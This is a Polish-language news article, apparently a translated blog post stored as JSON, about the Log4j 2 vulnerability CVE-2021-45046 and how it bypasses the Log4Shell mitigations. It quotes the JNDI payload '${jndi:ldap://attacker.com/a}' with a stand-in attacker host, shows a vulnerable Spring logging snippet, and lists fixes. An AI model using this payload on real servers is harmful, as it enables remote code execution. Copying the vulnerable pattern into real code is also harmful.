{"id":102619,"date":"2021-12-15T09:36:53","date_gmt":"2021-12-15T07:36:55","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu"},"modified":"2021-12-15T09:36:53","modified_gmt":"2021-12-15T07:36:55","slug":"novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pl\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","title":{"rendered":"Nowa metoda ataku na Log4j 2, pozwalaj\u0105ca na obej\u015bcie dodanej ochrony","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
W implementacji podstawie\u0144 JNDI w bibliotece Log4j 2 zidentyfikowano jeszcze jedn\u0105 luk\u0119 (CVE-2021-45046), kt\u00f3ra wyst\u0119puje pomimo poprawek dodanych w wydaniu 2.15 i niezale\u017cnie od zastosowania ustawienia «log4j2.noFormatMsgLookup» w celu ochrony. Problem stanowi zagro\u017cenie g\u0142\u00f3wnie dla starszych wersji Log4j 2, zabezpieczonych przy pomocy flagi «noFormatMsgLookup», poniewa\u017c pozwala na obej\u015bcie ochrony przed wcze\u015bniejsz\u0105 luk\u0105 (Log4Shell, CVE-2021-44228), umo\u017cliwiaj\u0105c\u0105 wykonanie w\u0142asnego kodu na serwerze. Dla u\u017cytkownik\u00f3w wersji 2.15 wykorzystanie tej luki ogranicza si\u0119 do stworzenia warunk\u00f3w do awaryjnego zako\u0144czenia aplikacji z powodu wyczerpania dost\u0119pnych zasob\u00f3w. <\/p>\n
Luka ujawnia si\u0119 tylko na systemach, w kt\u00f3rych podczas logowania u\u017cywane s\u0105 kontekstowe zapytania (Context Lookup), takie jak ${ctx:loginId}, lub wzorce MDC (Thread Context Map), na przyk\u0142ad %X, %mdc i %MDC. Wykorzystanie tej luki polega na stworzeniu warunk\u00f3w do wyprowadzenia w logu danych zawieraj\u0105cych podstawienia JNDI, podczas gdy w aplikacji u\u017cywane s\u0105 kontekstowe zapytania lub wzorce MDC, okre\u015blaj\u0105ce zasady formatowania wyj\u015bcia w logu. <\/p>\n
Badacze z firmy LunaSec zauwa\u017cyli, \u017ce dla wersji Log4j poni\u017cej 2.15 ta luka mo\u017ce by\u0107 wykorzystywana jako nowy wektor ataku Log4Shell, prowadz\u0105cy do wykonania kodu, je\u015bli przy zapisie do logu u\u017cywane s\u0105 wyra\u017cenia ThreadContext, kt\u00f3re zawieraj\u0105 dane zewn\u0119trzne, niezale\u017cnie od w\u0142\u0105czenia w celu ochrony flagi «noMsgFormatLookups» lub wzorca «%m{nolookups}».
<\/center> <\/p>\n
Obej\u015bcie ochrony polega na tym, \u017ce zamiast bezpo\u015bredniego podstawienia «${jndi:ldap:\/\/attacker.com\/a}», to wyra\u017cenie jest podstawiane przez warto\u015b\u0107 zmiennej po\u015bredniej, u\u017cywanej w regu\u0142ach formatowania zapis\u00f3w do logu. Na przyk\u0142ad, je\u015bli przy zapisie do logu u\u017cywany jest kontekstowy wniosek ${ctx:apiversion}, to atak mo\u017ce by\u0107 przeprowadzony poprzez podstawienie danych «${jndi:ldap:\/\/attacker.com\/a}» w warto\u015b\u0107 zapisywan\u0105 do zmiennej apiversion. Przyk\u0142ad podatnego kodu: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping(«\/») public String index(@RequestHeader(«X-Api-Version») String apiVersion) { \\\/\\\/ Warto\u015b\u0107 nag\u0142\u00f3wka HTTP «X-Api-Version» jest przekazywana do ThreadContext ThreadContext.put(«apiversion», apiVersion); \\\/\\\/ Przy zapisie do logu zewn\u0119trzna warto\u015b\u0107 apiversion b\u0119dzie przetwarzana przy pomocy podstawienia ${ctx:apiversion} logger.info(«Otrzymano \u017c\u0105danie dotycz\u0105ce wersji API»); return «Witaj, \u015bwiecie!»; } <\/p>\n
W wersji Log4j 2.15 luka mo\u017ce by\u0107 wykorzystywana do przeprowadzania atak\u00f3w DoS poprzez przekazywanie warto\u015bci do ThreadContext, kt\u00f3re prowadz\u0105 do zaci\u0119cia si\u0119 przetwarzania szablonu formatowania wyj\u015bcia.
<\/center> <\/p>\n
Aby zablokowa\u0107 luk\u0119, opublikowane zosta\u0142y aktualizacje 2.16 i 2.12.2. W wersji Log4j 2.16, opr\u00f3cz poprawek z wersji 2.15 oraz przypisania zapyta\u0144 JNDI LDAP do 'localhost', domy\u015blnie ca\u0142kowicie wy\u0142\u0105czono funkcjonalno\u015b\u0107 JNDI i usuni\u0119to wsparcie dla wzorc\u00f3w zast\u0119pczych wiadomo\u015bci. Jako tymczasowe rozwi\u0105zanie ochronne zaproponowano usuni\u0119cie klasy JndiLookup z classpath (na przyk\u0142ad, 'zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class'). <\/p>\n
Mo\u017cna \u015bledzi\u0107 pojawianie si\u0119 poprawek w pakietach na stronach dystrybucji (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) oraz producent\u00f3w platform Java (GitHub, Docker, Oracle, VMware, Broadcom i Amazon\/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure itd.). \n \u0179r\u00f3d\u0142o: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Nowa](\"\/wp-content\/uploads\/2021\/12\/abd6f205102d584b2f633fa8188bdd67.jpg\")
<\/center> <\/p>\n![\"Nowa](\"\/wp-content\/uploads\/2021\/12\/5de7e9d9db53c53f5ebeed3bce6743c4.jpg\")
<\/center> <\/p>\n